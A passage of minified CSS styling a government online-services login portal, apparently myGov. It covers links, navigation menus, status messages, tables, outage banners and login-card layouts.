#0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}body a:hover,body a:active,body .non-transition-link:hover,body .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}body a:hover .link-external,body a:active .link-external,body .non-transition-link:hover .link-external,body .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}body .force-cursor{cursor:pointer}body .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}body .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}body .see-more:hover,body .see-more:focus{color:#fff}body span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}body span.placeholder-link:hover{cursor:not-allowed}footer[role='contentinfo']{color:#333}footer[role='contentinfo'] a,footer[role='contentinfo'] .non-transition-link{display:inline-block;color:#0f6493;outline:0;text-decoration:none;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}footer[role='contentinfo'] a:hover,footer[role='contentinfo'] a:active,footer[role='contentinfo'] .non-transition-link:hover,footer[role='contentinfo'] .non-transition-link:active{color:#fff;background-color:#0f6493;text-decoration:none}footer[role='contentinfo'] a:hover .link-external,footer[role='contentinfo'] a:active .link-external,footer[role='contentinfo'] .non-transition-link:hover .link-external,footer[role='contentinfo'] .non-transition-link:active .link-external{background:#fff;border:2px solid #fff}footer[role='contentinfo'] .force-cursor{cursor:pointer}footer[role='contentinfo'] .see-more{display:inline-block;position:relative;margin-right:1.6em;font-weight:700;color:#333;color:red}footer[role='contentinfo'] .see-more::after{content:'';position:absolute;top:0;right:-1.2em;display:block;width:1.2em;height:1.2em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto}footer[role='contentinfo'] .see-more:hover,footer[role='contentinfo'] .see-more:focus{color:#fff}footer[role='contentinfo'] span.placeholder-link{color:rgba(51,51,51,0.7);border-bottom:0;cursor:not-allowed}footer[role='contentinfo'] span.placeholder-link:hover{cursor:not-allowed}.link-arrow{display:inline-block;position:relative;color:#0f6493;text-decoration:none;margin-top:.8em;margin-bottom:.8em;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color}.link-arrow:after{content:'';position:absolute;top:0;right:-24px;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.link-arrow-down:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-down-solid.svg")}.link-arrow-up:after{content:'';display:inline-block;width:1em;height:1em;background-repeat:no-repeat;background-position-x:center;background-position-y:3px;background-image:url("../icons/chevron-up-solid.svg")}.link-arrow:hover,.link-arrow:active{color:#fff;background-color:#0f6493;text-decoration:none}.list-unstyled{list-style-type:none;padding-left:0}.list-unstyled li{margin-bottom:0}.list-unstyled input[type='radio']+label{padding-left:42px}.list-unstyled input[type='radio']+label::before{left:0}.list-unstyled input[type='radio']:checked+label::after{left:5px}.meta-info{font-size:16px;margin-top:1em}@media screen and (min-width:768px){.meta-info{margin-top:-0.5em;margin-bottom:-1em}}.meta-info__user{color:#333}@media screen and (min-width:768px){.meta-info__user{text-align:right}}.meta-info__timestamp{color:#666}@media screen and (min-width:768px){.meta-info__timestamp{text-align:right}}.meta-info__idpSts{color:#666}@media screen and (min-width:768px){.meta-info__idpSts{text-align:right}}.overlay{background:rgba(0,0,0,0.8);height:100%;position:fixed;top:0;width:100%}.timeoutWarning{background:#fff;left:0;margin:0 1em;max-width:400px;padding:1em;position:fixed;right:0;top:10%}@media screen and (min-width:576px){.timeoutWarning{margin:0 auto;width:100%}}.timeout-time{font-weight:bold}.global-menu{display:none}@media screen and (min-width:768px){.global-menu{display:inline-block;margin-top:2px;position:relative}}.global-menu ul{list-style-type:none;margin-bottom:0;padding:0;margin-top:80px;margin-bottom:16px}@media screen and (min-width:768px){.global-menu ul{margin-left:40px;position:relative;top:22px;margin-top:0}}.global-menu ul li{border-bottom:1px solid #fff;margin-bottom:0}.global-menu ul li:first-of-type{border-top:2px solid #fff}@media screen and (min-width:768px){.global-menu ul li:first-of-type{border-top:0}}@media screen and (min-width:768px){.global-menu ul li{border:0;display:inline-block;margin-right:24px}}.global-menu a{border-left:4px solid transparent;border-bottom:0;color:#fff;display:block;padding:12px 0 12px 12px;text-decoration:none;-webkit-transition:border-left .3s,background-color .1s;transition:border-left .3s,background-color .1s;font-weight:300}@media screen and (min-width:768px){.global-menu a{border-left:none;border-bottom:4px solid transparent;padding:12px 0;-webkit-transition:border-bottom .3s,background-color .1s;transition:border-bottom .3s,background-color .1s}}.global-menu a:hover,.global-menu a:focus{background:0;border-left-color:#d7ea6a;text-decoration:underline;-webkit-transition:border-left-color .3s,background-color .1s;transition:border-left-color .3s,background-color .1s;outline:0}@media screen and (min-width:768px){.global-menu a:hover,.global-menu a:focus{border-bottom-color:#d7ea6a;text-decoration:none;-webkit-transition:border-bottom-color .3s,background-color .1s;transition:border-bottom-color .3s,background-color .1s}}.global-menu a:focus{outline:0}.global-menu a:focus span{outline:3px solid #fff;outline-offset:2px;background-color:#01462c}.global-menu a:active span{background-color:#01462c;-webkit-transition:background-color .1s;transition:background-color .1s}.global-menu .is-current{border-left-color:#d7ea6a;font-weight:bold}@media screen and (min-width:768px){.global-menu .is-current{border-bottom-color:#d7ea6a}}.open-on-mobile+.global-menu{display:inline-block;width:100%}@media screen and (min-width:768px){.open-on-mobile+.global-menu{display:inline-block;width:auto}}.menu-hitbox{border:0;cursor:pointer;display:inline-block;height:2.75rem;left:0;margin:0;padding:0;position:absolute;width:3rem;color:white;top:19px}@media screen and (min-width:768px){.menu-hitbox{display:none;margin-top:0}}.menu-hitbox:hover .text,.menu-hitbox:focus .text{text-decoration:underline}.menu-hitbox:active{background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}.menu-hitbox:focus{outline-color:#fff;outline-offset:8px}.triple-cheese-hamburger{background:0;border:0;cursor:pointer;display:inline-block;height:16px;left:0;margin:0 auto;padding:0;position:absolute;top:0;left:0;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.5s ease-in-out;transition:.5s ease-in-out;width:24px}.triple-cheese-hamburger span{background:#fff;border-radius:9px;display:block;height:2px;left:50%;position:absolute;-webkit-transform:rotate(0deg);transform:rotate(0deg);-webkit-transition:.25s ease-in-out;transition:.25s ease-in-out;width:100%}.triple-cheese-hamburger span:nth-child(1){top:0}.triple-cheese-hamburger span:nth-child(2),.triple-cheese-hamburger span:nth-child(3){top:8px}.triple-cheese-hamburger span:nth-child(4){top:16px}.open .triple-cheese-hamburger span:nth-child(1){left:100%;top:8px;width:0}.open .triple-cheese-hamburger span:nth-child(2){-webkit-transform:rotate(45deg);transform:rotate(45deg)}.open .triple-cheese-hamburger span:nth-child(3){-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.open .triple-cheese-hamburger span:nth-child(4){left:100%;top:8px;width:0}.triple-cheese-hamburger+.text{bottom:0;font-size:1rem;left:0;position:absolute;right:0;text-align:center;top:54%}.open-on-mobile+.global-menu li:focus,.open-on-mobile+.global-menu li:hover{background-color:#01462c}.open-on-mobile+.global-menu li:focus span,.open-on-mobile+.global-menu li:hover span{background-color:#01462c}.open-on-mobile+.global-menu li span{outline:0;background-color:#026540}.success-msg{background-color:#fff;border:2px solid #026540;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.success-msg:before{background-image:url("../icons/success.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.success-msg success-msg-text{max-width:42em}.success-msg[data-dismiss]{padding:.6em 4em .6em .6em}.success-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.success-msg a{display:inline}.success-msg p{margin:0;padding:2.5px 0}.error-msg{background-color:#fff;border:2px solid #b7202d;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.error-msg:before{background-image:url("../icons/error.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.error-msg error-msg-text{max-width:42em}.error-msg[data-dismiss]{padding:.6em 4em .6em .6em}.error-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.error-msg a{display:inline}.error-msg p{margin:0;padding:2.5px 0}.error-msg span{display:block;margin-bottom:1em}.info-msg{background-color:#fff;border:2px solid #0f6493;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.info-msg:before{background-image:url("../icons/info.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.info-msg info-msg-text{max-width:42em}.info-msg[data-dismiss]{padding:.6em 4em .6em .6em}.info-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.info-msg a{display:inline}.info-msg p{margin:0;padding:2.5px 0}.warning-msg{background-color:#fff;border:2px solid #f80;border-left-width:48px;display:block;margin:1.4em 0;padding:.6em .6em .6em .6em;position:relative}.warning-msg:before{background-image:url("../icons/warning.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:-40px;position:absolute;top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:30px}.warning-msg warning-msg-text{max-width:42em}.warning-msg[data-dismiss]{padding:.6em 4em .6em .6em}.warning-msg[data-dismiss] .dismiss{top:-4px;right:-4px}.warning-msg a{display:inline}.warning-msg p{margin:0;padding:2.5px 0}span.success{color:#026540;display:block}.unsuccessful{color:#b7202d;font-weight:bold}fieldset.pin-fields.hasError{border:0}fieldset.pin-fields3.hasError{border:0}.hasError{border-left:solid 4px #b7202d;margin-left:3px;padding-left:15px}.hasError span.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError p.hasError{color:#b7202d;border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasError input{border:2px solid #b7202d}.hasError.pathway-link-item{border-left:solid 4px #b7202d}.hasInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;margin-bottom:1em;position:relative;max-width:42em}.hasInfo span.hasInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasInfo p{margin-top:.5em}.hasInfo--DI{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;background-color:#ebf5fb;padding:1em 2em 2em 2em;margin:1em 0;position:relative;max-width:42em}.hasInfo--DI p{margin-top:.5em}.hasInfo--DI p a{display:unset}.hasLinkInfo{border-left:solid 4px #0f6493;margin-left:3px;padding-left:15px;display:block;margin-bottom:1em;position:relative;max-width:80em}.hasLinkInfo[role='region']{display:none}.hasLinkInfo span.hasLinkInfo{border:0;padding:0;margin:0;width:100%;font-size:1rem;clear:both;display:block}.hasLinkInfo p{margin-top:.5em}.outage{background-color:#f9eedc;-webkit-box-flex:0;-webkit-flex:0 0 auto;-ms-flex:0 0 auto;flex:0 0 auto;padding:8px 1em;position:relative}@media screen and (min-width:576px){.outage{padding:8px 2em}}.outage strong{color:#b7202d}.outage .expand{top:-6px;width:44px;height:44px;padding:0}.outage .expand--expanded{-webkit-transform:rotate(180deg);transform:rotate(180deg)}.outage .expand:focus{outline-offset:-3px}.outage p{display:inline;margin:0}.outage p:before{content:'';display:block}.outage p+p:before{margin-top:1em}.outage__inner{max-width:900px;margin:0 auto;padding:0 40px 0 40px;position:relative}.outage__inner:before{background-image:url("../icons/warning-filled.svg");background-repeat:no-repeat;background-position:center center;content:'';display:inline-block;height:30px;left:0;position:absolute;top:0;width:30px}.outage__content{max-height:1.7em;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;margin-right:1em}.outage__content--expanded{max-height:none;overflow:visible;text-overflow:clip;white-space:normal}.pathway-link-list{padding-left:0;line-height:1.6em;margin-bottom:2.5rem;border-top:2px solid #333;border-bottom:1px solid #333;width:100%;margin-top:0}.pathway-link-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.pathway-link-list li:last-of-type{border-bottom:0}.pathway-link-item{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item .hasIssues{position:relative;width:60px;height:70px;float:right;background-image:url("../icons/error-filled.svg");background-repeat:no-repeat;background-position:top center;text-align:center}.pathway-link-item .hasIssues span{color:#b7202d;position:absolute;width:100%;top:40px;right:0;font-weight:bold;font-size:87.5%;display:inline-block}.pathway-link-item.isActive{border-left:6px solid #026540}.pathway-link-item.isActive .pathway-link-indicator{color:#026540;font-weight:700;display:inline-block}.pathway-link-item.isInactive .pathway-link-indicator{color:#b7202d;font-weight:700;display:inline-block}.pathway-link-item::after{background-image:url("../icons/chevron-right.svg");content:'';width:30px;background-repeat:no-repeat;background-size:auto 100%;position:absolute;height:30px;top:50%;right:0;-webkit-transform:translateY(-50%);transform:translateY(-50%)}.pathway-link-item:hover,.pathway-link-item:focus{background-color:#eee;color:#333}span.pathway-link-item:hover,span.pathway-link-item:focus{background-color:initial}.pathway-link-item:active{background-color:#ccc;color:#333}.pathway-link-item span{display:block}.pathway-link-item--service{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;padding-right:.8em}.pathway-link-item--service::after{content:initial;background-image:none}.pathway-link-item--service .pathway-link-service{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1}.pathway-link-item--service .pathway-link-service .extra-info{margin-top:.4em}.pathway-link-item--service .pathway-link-service .active{color:#026540;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-service .inactive{color:#b7202d;font-weight:700;display:inline}.pathway-link-item--service .pathway-link-action{-webkit-align-self:center;-ms-flex-item-align:center;-ms-grid-row-align:center;align-self:center;margin-left:20px}.pathway-link-item--service .pathway-link-action>[class*=' button'],.pathway-link-item--service .pathway-link-action>[class^='button']{height:auto;line-height:1.6;padding:10px;width:auto}.pathway-link-item-disable{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-disable span{display:block}.pathway-link-item-locked{padding:.8em 50px .8em .8em;background:0;border:0;display:block;color:#333;text-decoration:none;text-align:left;margin:0;outline:0;width:100%;position:relative;height:auto;font-size:1rem;word-wrap:break-word;overflow-wrap:break-word;-ms-word-break:break-word}.pathway-link-item-locked img{max-width:1em}.pathway-link-title{margin-top:0;font-size:1.125rem;font-weight:700;line-height:1.4}.pathway-link-title--disable{color:#767676}.pathway-link-title--locked{margin-left:1em}.pathway-link-description--disable{color:#767676}.final-pathway{padding:0;list-style-type:none;display:inline-block;width:100%;margin-top:0}.final-pathway li{border-bottom:1px solid #ccc;margin:0}.final-pathway li:nth-child(1){border-top:2px solid #333}.final-pathway li:nth-last-child(1){border-bottom:2px solid #333}.final-pathway li:nth-child(odd){background-color:#eee}.final-pathway li .pathway-link-item::after{background-image:none}.or-break{margin-top:10px;margin-bottom:10px}.service-pathway-link .pathway-link-item{padding-top:1.5em;padding-bottom:1.5em}.uikit-skip-link{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;color:#333;line-height:1.6}.uikit-skip-link__link{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0;color:black;background-color:white}.uikit-skip-link__link:active,.uikit-skip-link__link:focus{clip:auto;height:auto;margin:0;overflow:visible;position:absolute;width:auto;font-size:21px;top:.8em;left:.8em;padding:.4em .8em;color:#333;background-color:#fff;text-decoration:none;z-index:1}table{margin-bottom:1.6em}.content-table{width:100%;border-collapse:collapse}.content-table thead tr:first-of-type{background-color:#fff}.content-table tr:nth-child(odd){background-color:#eee}.content-table td,.content-table th{border-bottom:solid 1px #ccc;padding:.4em;text-align:left}@media screen and (min-width:768px){.content-table td,.content-table th{padding:.8em;font-size:initial}}.content-table thead{border-bottom:solid 2px #333}.alert-list{width:100%;padding-left:0;margin-top:0;border:1px solid #999;border-radius:.5em}.alert-list li{list-style:none;border-bottom:1px solid #999;margin-bottom:0}.alert-list li:last-of-type{border-bottom:0}.alert-item{padding:1em;display:block}@media screen and (min-width:768px){.alert-item{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex}}.alert-icon{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;background-color:#bfe7f6;border:0;border-radius:.25em;height:2.5em;width:2.5em;padding:.5em;text-align:center;float:left;margin:0 1em 0 0}@media screen and (min-width:768px){.alert-icon{margin:auto}}.alert-icon img{max-width:1.5em}.alert-info{width:-webkit-fit-content;width:-moz-fit-content;width:fit-content}@media screen and (min-width:768px){.alert-info{margin:0 2em auto 1em}}.alert-link{vertical-align:middle;display:block;vertical-align:middle;text-align:left;width:-webkit-max-content;width:-moz-max-content;width:max-content}@media screen and (min-width:768px){.alert-link{margin:auto 1em auto 0;display:block;text-align:right}}.alert-link .alert-link-arrow{display:block;position:relative;text-decoration:none;outline:0;border-bottom:solid 1px #0f6493;-webkit-transition-timing-function:ease-in-out;transition-timing-function:ease-in-out;-webkit-transition-duration:.1s;transition-duration:.1s;-webkit-transition-property:background-color,border-color,color;transition-property:background-color,border-color,color;width:-webkit-max-content;width:-moz-max-content;width:max-content;margin-top:1.5em}@media screen and (min-width:768px){.alert-link .alert-link-arrow{margin-top:0}}.alert-link .alert-link-arrow:after{content:'';position:absolute;top:0;right:-1em;display:block;width:1.3em;height:1.5em;background-repeat:no-repeat;background-position:right .4em;background-size:.64em auto;background-image:url("../icons/link-arrow.svg")}.alert-link .data-alert-dismiss-button{margin-top:1.5em}.account-history-table th:first-of-type,.account-history-table td:first-of-type{border-right:1px solid #999}.account-history-table th{display:table-cell;border-style:none;width:initial}.account-history-table th:focus{outline:-webkit-focus-ring-color auto 5px}.account-history-table th>img{vertical-align:middle}.account-history-table td{vertical-align:top}.account-history-date,.account-history-time,.account-history-comment{display:block}.hr-word{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:.5em}.hr-word span{background-color:#eee;padding:0 10px}.hr-word-mapwap{width:100%;height:13px;border-bottom:1px solid #ccc;text-align:center;margin-top:1.5em}.hr-word-mapwap span{background-color:#fff;padding:0 10px}.unauth .anchor{background-color:#eee}.unauth .anchor:hover{background-color:#0f6493}.unauth .wap-anchor{background-color:transparent}.unauth .wap-anchor:hover{background-color:#0f6493}.unauth .showPassword{background-color:transparent}.unauth .showPassword:hover{background-color:#0f6493}.unauth .section-heading,.unauth #poro-form h2,#poro-form .unauth h2,.unauth #poro-form .display,#poro-form .unauth .display,.unauth .poro-form h2,.poro-form .unauth h2,.unauth .poro-form .display,.poro-form .unauth .display{padding-top:0}.unauth .wrapper{padding:0}.unauth .main-block{width:100%;margin:auto}.unauth .product-description .inner,.unauth .product-description .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description .inner,.unauth .product-description .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:center}@media screen and (min-width:992px){.unauth .product-description .inner h1:first-of-type,.unauth .product-description .digital-id-inner h1:first-of-type,.unauth .product-description .inner p:first-of-type,.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}}.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:36px}@media screen and (min-width:992px){.unauth .product-description .inner h1,.unauth .product-description .digital-id-inner h1{margin-top:0}}.unauth .product-description .digital-id-inner p:first-of-type{text-align:left}.unauth .product-description .digital-id-inner h2:first-of-type,.unauth .product-description .digital-id-inner .display:first-of-type{margin-top:0;padding-top:0}.unauth .product-description .digital-id-inner h2,.unauth .product-description .digital-id-inner .display{font-weight:600}.unauth .product-description .digital-id-inner hr{border-top:3px #999 dashed;margin:2em 0}.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1;margin:0 auto;list-style-position:outside}@media screen and (min-width:768px){.unauth .product-description ul{-webkit-columns:2;-moz-columns:2;columns:2}}@media screen and (min-width:992px){.unauth .product-description ul{-webkit-columns:1;-moz-columns:1;columns:1}}.unauth .login-card-wrapper{background-color:#eee}@media screen and (min-width:992px){.unauth .login-card-wrapper{background-color:inherit}}.unauth .digital-id-main-login-card{margin:-1em auto -1em auto;padding:3px 1em 20px 1em}@media screen and (min-width:576px){.unauth .digital-id-main-login-card{padding:16px 1em 0 1em}}.unauth .digital-id-login-card-wrapper{background-color:#eee}.unauth .digital-id-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto 2em auto;padding:0 1em 1em 1em;text-align:center}@media screen and (min-width:576px){.unauth .digital-id-login-card{padding:16px 1em 20px 1em}}.unauth .digital-id-login-card .button-main{width:100%}.unauth .digital-id-login-card .identity-hub-info-text{background-color:#fff}.unauth .digital-id-login-card .identity-hub-info-text p{text-align:left;padding:10px}.unauth .digital-id-login-card:nth-child(2){padding:1em}.unauth .login-card,.unauth .digital-id-main-login-card{background-color:#eee;padding:10px;max-width:465px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .login-card label .help-text,.unauth .digital-id-main-login-card label .help-text{display:block}.unauth .login-card a.login-link,.unauth .digital-id-main-login-card a.login-link{margin-bottom:1.5em}.unauth .login-card .in-message-link,.unauth .digital-id-main-login-card .in-message-link{display:inline}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:0}.unauth .login-card .button-main,.unauth .digital-id-main-login-card .button-main,.unauth .login-card .button-minor,.unauth .digital-id-main-login-card .button-minor{width:100%}.unauth .login-card .crest,.unauth .digital-id-main-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .login-card .crest img,.unauth .digital-id-main-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth .wap-login-card{background-color:#fff;padding:10px;margin:0 auto;padding:16px 1em 20px 1em}.unauth .wap-login-card label .help-text{display:block}.unauth .wap-login-card a.login-link{margin-bottom:1.5em}.unauth .wap-login-card .in-message-link{display:inline}.unauth .wap-login-card input{margin-bottom:0}.unauth .wap-login-card .button-main,.unauth .wap-login-card .button-minor{width:100%}.unauth .wap-login-card .crest{margin-bottom:20px;padding-bottom:20px}.unauth .wap-login-card .crest img{width:180px;margin:0 auto;display:inherit;padding-top:6px}.unauth h1 .success-msg,.unauth h1 .error-msg,.unauth h1 .info-msg{font-size:1.5rem}.unauth h1 .success-msg-text,.unauth h1 .error-msg-text,.unauth h1 .info-msg-text{padding-left:10px}.unauth .centered{text-align:center;display:block}@media screen and (min-width:576px){.unauth .centered{text-align:left}}.unauth div.contained{max-width:42em;margin-top:20px}.unauth footer[role='contentinfo'] .wrapper{padding:0 1em}@media screen and (min-width:768px){.unauth footer[role='contentinfo'] .wrapper{padding:0 2em}}.section-group{padding-top:1em;padding-bottom:1em}.login-grid-container{width:100%}@media screen and (min-width:992px){.login-grid-container{margin-top:1em}}.login-grid-container .sign-in-banner{display:none}@media screen and (min-width:992px){.login-grid-container .sign-in-banner{display:block;margin-bottom:1em;font-weight:600}}.login-grid-row:before,.login-grid-row:after{display:table;line-height:0;content:""}.login-grid-row:after{clear:both}.login-grid-column{float:left;box-sizing:border-box;min-height:1px;position:relative;width:100%}@media screen and (min-width:992px){.login-grid-column{width:50%}}header[role='banner'].unauth .unauth-grid{width:100%;height:48px;margin-top:1em}header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:1em;margin-right:1em}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:2em;margin-right:2em}}@media screen and (min-width:992px){header[role='banner'].unauth .unauth-grid .unauth-grid-row{margin-left:0;margin-right:0}}header[role='banner'].unauth .unauth-grid .unauth-grid-row:before,header[role='banner'].unauth .unauth-grid .unauth-grid-row:after{display:table;line-height:0;content:""}header[role='banner'].unauth .unauth-grid a{border-bottom:0}header[role='banner'].unauth .unauth-grid .coat-arms{margin-top:4px}header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:right;position:inherit;top:31px;margin-top:8px;width:90px}@media screen and (min-width:576px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{float:left;margin-top:8px;width:112px}}@media screen and (min-width:768px){header[role='banner'].unauth .unauth-grid .header-logo.unauth{width:135px;margin-top:4px}}img#unauth-govt-crest{float:left;height:40px;margin-right:1em;color:#fff}@media screen and (min-width:576px){img#unauth-govt-crest{height:48px;margin-right:2em}}@media screen and (min-width:992px){img#unauth-govt-crest{margin-left:0;height:48px}}img#unauth-mygov-logo{float:right}@media screen and (min-width:576px){img#unauth-mygov-logo{float:left;color:#fff}}.header-logo-img{color:#fff}.header-logo-img:hover{text-decoration:underline!important}.unauth .login-card input,.unauth .digital-id-main-login-card input{margin-bottom:.5em}.divider{margin:1.5em 0;border-bottom:3px #999 dashed}.image-float-right{float:right}.mygovbeta-tip{overflow:auto}.tip-heading{margin-top:0!important;float:left;font-weight:500}.tip-text{float:left;width:60%}@media screen and (max-width:991px){.tip-heading{float:none;margin-top:0!important;text-align:center}.tip-text{float:none;width:100%;text-align:center!important}.image-float-right{display:block;margin:1.5em auto;float:none}.mygovbeta-tip{text-align:center}}.emergency-information{display:block;text-align:center;background-color:#fcb80e;color:#333;margin-bottom:0;padding:0;height:0}.emergency-information p,.emergency-information .emergency-text{display:inline}.emergency-information img{width:1em}.beta-information{height:auto;display:block;text-align:center;background-color:#66d3ee;color:#000}.beta-information p{padding-left:5px;padding-right:5px}.beta-information a{display:inline;color:#000;text-decoration:underline;border-bottom:0}.beta-information a:hover{background-color:#254a7e;color:#fff;text-decoration:underline}.mygovbeta-tip{overflow:auto}@media only screen and (max-width:992px){.mygovbeta-tip{text-align:center}}.tip-heading{float:left;font-weight:500}@media only screen and (max-width:992px){.tip-heading{float:none;margin-top:0!important}}.tip-text{float:left;width:60%}@media only screen and (max-width:992px){.tip-text{float:none;width:100%}}p.login-instruction-text{margin-left:10px}.sr-only{position:absolute;left:-10000px;top:auto;width:1px;height:1px;overflow:hidden}.wrapper-integration{padding:0}.wrapper-integration .welcome{max-width:400px;padding-left:1em;margin-left:auto;margin-right:auto}.wrapper-integration .welcome p{margin-top:0;margin-bottom:1.5em}@media screen and (min-width:576px){.wrapper-integration .welcome{max-width:600px}}@media screen and (min-width:992px){.wrapper-integration .welcome{padding-left:0}}.wrapper-integration .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:.5em 1em 1em 1em}@media screen and (min-width:576px){.wrapper-integration .main-block{max-width:600px;padding:.5em 2em 2em 2em}}.wrapper-integration-mapwap{padding:0}.wrapper-integration-mapwap h1:first-of-type{padding-top:1.5rem;margin-top:0}.wrapper-integration-mapwap .main-block{background-color:#eee;max-width:400px;margin-left:auto;margin-right:auto;padding:0 1em 3em 1em}@media screen and (min-width:576px){.wrapper-integration-mapwap .main-block{padding:0 2em 3em 2em;max-width:600px}}#integration-span{background-color:#eee}.account-info-group span{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.account-info-group #account-info-label{margin-top:1.2em;margin-bottom:.4em}.account-info-group #account-info-detail{font-size:1em;overflow-wrap:break-word;display:block}@media screen and (min-width:320px){.account-info-group #account-info-detail{font-size:1.25em}}.account-info-group #account-info-detail-changeable{background:#ccc;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:.7em .5em}.account-info-group #account-info-detail-changeable div:first-of-type{overflow-wrap:break-word;width:48%}.unauth h1.login-vp{display:none}@media screen and (min-width:992px){.unauth h1.login-vp{display:block;font-size:2.25em;font-weight:400}}.unauth h2.login-vp,.unauth .login-vp.display{font-weight:500}.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto;padding:0 2em}@media screen and (min-width:992px){.unauth .product-description-vp .inner,.unauth .product-description-vp .product-description .digital-id-inner,.unauth .product-description .product-description-vp .digital-id-inner{padding:0;margin-left:30px}}.unauth .product-description-vp .inner .tips,.unauth .product-description-vp .product-description .digital-id-inner .tips,.unauth .product-description .product-description-vp .digital-id-inner .tips{text-align:center}.unauth .product-description-vp .inner .tips img,.unauth .product-description-vp .product-description .digital-id-inner .tips img,.unauth .product-description .product-description-vp .digital-id-inner .tips img{width:100%;height:auto;max-height:215px}@media 